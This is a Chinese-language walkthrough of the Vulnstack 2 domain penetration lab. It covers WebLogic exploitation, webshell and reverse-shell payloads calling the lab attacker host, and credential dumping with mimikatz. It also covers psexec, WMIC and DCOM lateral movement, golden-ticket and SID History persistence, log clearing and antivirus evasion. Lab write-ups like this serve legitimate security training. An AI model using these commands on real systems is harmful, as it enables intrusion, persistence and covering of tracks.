这次靶场东拼西凑也算是通关了,重新复习了一下,也学到了很多东西,在这简单梳理一下思路

内网环境介绍

域控服务器:

•内网IP:10.10.10.10 •系统:Windows Server 2012(64位) •用户名:de1ay

WEB服务器:

•模拟外网IP:192.168.178.153 •内网IP:10.10.10.80 •系统:Windows Server 2008(64位)

PC域内主机:

•内网IP:10.10.10.201 •系统:Windows 7(32位)

攻击者VPS:

•模拟外网IP:192.168.178.100 •系统:Linux

Web服务器有两个网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。域成员主机Windows 7和域控制器位于内网,域成员主机可以没有公网IP但能上网,域控制器只能与内网连通,不能与外网通信。

靶场环境搭建

搭建教程:具体过程
我的环境:
web和pc端ip设置为自动获取即可

域控DC的ip设置如下

设置好ip后,尝试在三台机器中互相ping一下,如果都可以ping通,且web端可以访问外网,即为设置成功。

在web端开启WebLogic服务后,即可开始渗透,路径:C:\Oracle\Middleware\user_projects\domains\base_domain

web外网渗透

信息搜集

kali使用arp扫描,153是web端
用nmap扫一下,发现web端开启了7001端口,进入网站可以看到

可以看到很多熟悉的端口:
445:常见的ms17-010漏洞
3389:知道密码后可以远程连接电脑
7001:weblogic服务端口
使用weblogic漏洞利用工具扫描,发现存在漏洞CVE_2020_2551

漏洞利用(绕过360,反弹shell)

便可以利用该工具上传shell脚本,查阅资料,可以知道上传的位置有三处:

第一处:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\uddiexplorer\随机字符\war\shell.jsp
连接方式:访问 http://...:7001/uddiexplorer/shell.jsp

第二处:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp_WL_user\项目名\随机字符\war\shell.jsp
连接方式:访问 http://...:7001/项目名/shell.jsp

第三处:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
连接方式: http://...:7001/console/framework/skins/wlsconsole/images/shell.jsp

这里利用第三种:

为了执行更多的命令,尝试反弹shell,这里用了很多种方法,尝试过免杀powershell,上传msf生成的反弹shell文件(免杀研究的不深,只会使用一些工具,能静态过火绒和360)并执行,以及其他反弹shell的办法,都被360拦截了,查阅资料知道360拦截了不明的数据包,所以一直失败。

唯一成功的办法是,利用冰蝎的反弹shell功能(哥斯拉也行,不过没去试)

web服务器提权(msf提权失败,cs提权成功)

这里想要提升一下权限:
用Windows-Exploit-Suggester-master查看一下可以使用拿些漏洞提权
想用075试试,失败了
在网上查了资料发现需要提前注入进程,退回meterpreter
尝试注入,均失败
网上的解释是:解释
大多数人都是用的是Metasploit Framework,而恰好这个版本的Java meterpreter没有直接授予升级的getsystem命令,它运行在沙箱中。其它不能用的命令也基本类似,就暂且放弃了,转战CS

设置好监听器,注意payload是:windows/beacon_https/reverse_https
反弹后即可上线
查看进程,选一个权限一致的注入即可

beacon> inject 1912 x64 vulnstack2 -1
[*] Tasked beacon to inject windows/beacon_https/reverse_https (192.168.178.100:443) into 1912 (x64)

上线后即可提权,我这里用的是ms14-058,提权了两次都成功了,成功绕过了360, 拿下了web主机
ps:但是这里提权后的应用程序不能长时间存在,过了一段时间后,就会被360查杀

web权限维持

尝试添加新用户,msf被拦截,cs可以添加
尝试远程登陆web服务器,被360拦截了,等不进去,放弃

内网渗透

信息搜集

信息收集的一些命令:

 net user                 查看本机用户列表net user /domain         查看域用户net localgroup administrators   查看本地管理员组(通常会有域用户)net view /domain         查看有几个域net user 用户名 /domain   获取指定域用户的信息net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 /domain    查看域中某工作组net group "domain admins" /domain  查看域管理员的名字net group "domain computers" /domain  查看域中的其他主机名net group "doamin controllers" /domain  查看域控制器(可能有多台)

利用进行CS信息搜集

在这里推荐几个CS很好的插件:梼杌(地址)ladon(地址)

接下来开始内网遨游,先搜集一下信息

  • 查找域内用户

  • 查找域管理员
  • 锁定域控DC:

  • 再看看其他信息


mimikatz得到可以得到密码
发现内网还存在两台机器,PC 10.10.10.80和DC 10.10.10.10

最后可以得到确定

该靶场为域环境:de1ay.com 该靶场存在三台主机:DC、PC、WEB
该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24
该靶场的域管理员为:Administrator
PC开启了3389端口,同样远程被360锁住了,三台域内机器都开启了445端口,可以用永恒之蓝打一下,这里没有再去尝试

补充:这里机器使用的是kerberos协议,域是DE1AY.com

代理设置

cs代理传给msf

这里可以直接使用cs,无需设置代理,或者将cs的代理转给msf,在msf进行后续操作,也试过其他的比如chisel,ew在kali里面都没办法代理成功
参考:网站
在msf中设置路由:

route add 10.10.10.0 255.255.255.0 1

CS设置代理后,在msf中复制执行,即可挂上CS的代理,在msf中对域内机器进行扫描

setg Proxies socks4:192.168.178.100:6747

设置一下kali内的代理,填入之前的代理端口
然后就可以利用代理命令查看一些信息,不过之前也已经知道了的

proxychains4 nmap -F -sT -Pn 10.10.10.1/24

横向移动(cs过域控,msf拿下域成员)

拿下域控DC

这里拿下域控的办法CS和msf都差不多,之前通过mimikatz拿到了密码,于是可以通过psexec(详细解释)攻击拿下域控。

psexec是windows下的一款远程命令行工具。psexec的使用不需要对方主机开启3389端口,只需要对方开启admin$共享(该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径,由于psexec是windows提供的工具,所以杀毒软件会将其添加到白名单中。

MSF

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run

CS

  • 建立一个新的smb监听器

  • 在这里添加user为de1ay的凭证(de1ay是该域的通用登陆用户),利用此凭证进行psexec攻击

  • 成功拿下域控制器

尝试拿下域成员PC

尝试同样的办法拿下PC,应该是被360挡住了

  • 尝试使用WMIC攻击或DOCM攻击拿下PC

msf中控制WEB主机与PC建立一个ipc$连接,再利用web主机为跳板,在PC端上传免杀木马,并远程执行

进入shell模式,在解决乱码问题:chcp 65001
先使用msf生成一个木马再简单免杀一下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.178.100 lport=6668 -f exe >shell.exe
net use \\10.10.10.201\ipc$ "1qaz#WSX" /user:administrator


copy到PC端

copy shell.exe \\10.10.10.201\c$

WMIC攻击

shell wmic /node:10.10.10.201 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\shell.exe"

或者DCOM攻击(powershell下运行)

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)

都失败了,被360拦截,使用域控作为跳板也是一样的

  • 尝试开启远程桌面反弹shell

由于我这个版本的msf没有powershell,尝试使用远程登陆执行命令再反弹shell

  • 这里直接探测端口会被360拦住,使用nc探测端口

proxychains4 nc -zv 10.10.10.201 3389
-v 显示指令执行过程。
-z 使用0输入/输出模式,只在扫描通信端口时使用。


远程登陆

proxychains4 rdesktop 10.10.10.201

和之前的一样都没办法登进去,尝试在CS上执行命令,被360拦了
后面还是没有办法,只能关掉360,然后用同样的办法,成功上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.201
set lport 7878
run

ok也算是成功拿下PC端了

权限维持

黄金票据

假设又这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
(krbtgt账户:每个域控制器都有一个”krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务 (TGS)加密的密钥。)

黄金票据的条件要求:
1.域名称
2.域的sid 值
3.域的krbtgt账户ntlm密码哈希
4.伪造用户名
一旦攻击者拥有管理员访问域控制器的权限,就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。

这里我们在域控利用mimikatz拿到了krbtgt账户的ntlm的hash值:
82dfc71b72a11ef37d663047bc2088fb
以及域名域SID:
DE1AY.com:S-1-5-21-2756371121-2868759905-3853650604-1001

开始伪造黄金票据:

  • 伪造票据成功了的:

  • 没有伪造票据的

这里就可以使用psexec(hash传递攻击),wmi等方法通过WEB主机对DC进行远程执行命令了

SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

具体过程由于msf无法注入mimikatz,cs无法操作(太菜了),就引用了别的大佬的效果图:

首先我们在域控制器上新建一个恶意用户“whoami”:

net user whoami Liu78963 /add

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中。

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

如上图所示,whoami用户的SID History和administrator域管理员的sid相同,那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。

痕迹清除

msf的话就是:

run event_manager -c

再具体一点可以看这位师傅:大佬

免杀

尝试在system权限下杀掉杀软,失败了,还有一个思路是远程连接再杀掉杀软,但是等不进去,还是被360拦住了,就没啥办法

360tray.exe:360实时保护
zhudongfangyu.exe:360主动防御


尝试过的免杀:
Invoke-Obfuscation,失败了,过不了动态
mimikatz的免杀集合,这里我试过方法10-msf加载bin,这里一些功能是msf 升级版才能用的,就没搞了
又试了其他的免杀工具,很多能过静态(360,火绒等,这里吐槽一下火绒,虽然很简洁,但是木马识别差了点,它是最好过的)
免杀工具集合:神仙网站

参考网站:

ATT&CK实战系列-红队评估 (二)
https://www.freebuf.com/articles/web/246578.html
https://www.freebuf.com/articles/network/293184.html
https://www.c0bra.xyz/2021/02/17/%E5%9F%9F%E6%B8%97%E9%80%8F-SID-History%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%8F%8A%E5%9F%9F%E4%BF%A1%E4%BB%BB%E6%94%BB%E5%87%BB/

内网渗透靶场 Vulnstack(二)相关推荐

  1. 内网渗透靶场 Vulnstack(一)

    虽然网上说这个靶场不是很难,但我自己做起来还是困难重重,很多知识不了解,msf与cs都搞了一下,搞了蛮久的,学到了不少,继续努力!!! 首先对内网域进行了解一下. 域是计算机网络的一种形式,其中所有用 ...

  2. 内网渗透(五十二)之域控安全和跨域攻击-搭建和查看域信任关系

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  3. 内网渗透(七十二)之域权限维持之伪造域控

    伪造域控 2022年1月10日,国外安全研究员Kaido发文称发现了一种新的伪造域控方式,安全研究员只需要新建一个机器账户,然后修改机器账户的UserAccountControl属性为8192.活动目 ...

  4. 内网渗透(六十二)之 NTLM Realy 攻击

    NTLM Realy 攻击 NTLM Realy 攻击其实应该称为Net-NTLM Realy 攻击,它发生在NTLM认证的第三步,在Response 消息中存在Net-NTLM Hash,当攻击者获 ...

  5. CH4INRULZ_v1.0.1内网渗透靶场

    nmap -T4 -A -p- 192.168.206.146 这里我们借助工具dirsearch对该网站进行目录扫描 http://192.168.206.146/development/ 然后再通 ...

  6. 记一次内网渗透测试实训总结

    原文连接 前言 时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗 ...

  7. vulnstack内网渗透环境靶场-1 大全

    一.搭建vulnstack靶场环境 主要以真实企业环境为实例搭建一系列靶场,通过练习另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环,下载地址: http://vulnstack ...

  8. 内网渗透—红日安全vulnstack(二)

    文章目录 1. 环境说明 2. 开启靶场 3. 外网渗透 3.1 端口扫描 3.2 拿shell 3.2.1 CVE-2019-2725 3.2.2 MSF17-010 3.3 提权 4. 内网渗透 ...

  9. 内网安全:内网渗透.(拿到内网主机最高权限 vulntarget 靶场 A)

    内网安全:内网渗透.(拿到内网主机最高权限) 内网穿透又被称为NAT穿透,内网端口映射外网,在处于使用了NAT设备的私有TCP/IP网络中的主机之间建立连接的问题.通过映射端口,让外网的电脑找到处于内 ...

  10. 内网渗透(十二)之内网信息收集-内网端口扫描和发现

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

最新文章

  1. nignx部署Vue单页面刷新路由404问题解决
  2. IntelliJ IDEA下载激活
  3. Unity AOP 处理异常的方法
  4. Spring 如何读取properties文件内容
  5. ASP.NET Web实时消息后台服务器推送技术---GoEasy
  6. Swift--字符串和字符(二)
  7. 成为Java流大师–第5部分:将联接的数据库表转换为流
  8. Ctrl+D 快捷键:浏览器 · 添加收藏按钮
  9. jacascript 立即执行函数(IIFE)与闭包
  10. Redis常用数据类型和事物以及并发
  11. 自定义一个月份选择器插件
  12. java 文件 填空题_Java作业之填空题.doc
  13. Python csv文件读写(csv模块)(转载)
  14. 午休,要有午休床,也要有毛毯
  15. python面向对象基础知识_面向对象的一些基本知识(python)
  16. 在线上传图片二维码识别解析
  17. 西门子PLC程序调试方法
  18. easyui treegrid php,easyUI TreeGrid | 学步园
  19. 哪一句话,能燃起你的斗志
  20. Qt,C++开发炫酷圆形扇形菜单面板

热门文章

  1. python安装第三方库超时
  2. 解决方案:Browserslist:caniuse-lite is outdated. Please run next command `npm update`
  3. sus补丁分发,局域网自动打补丁服务的架设过程
  4. Flutter水波纹效果
  5. Linux内核4.14版本——mmc core(2)——bus模块
  6. Docker attach和Docker exec的区别
  7. ubuntu下载BT种子安装qBittorrent
  8. java毕业设计基于ssm框架的生鲜超市进销存管理系统
  9. 类和对象8:数值方法
  10. IE浏览器被挟持怎么办,打不开正确网页被挟持到固定网页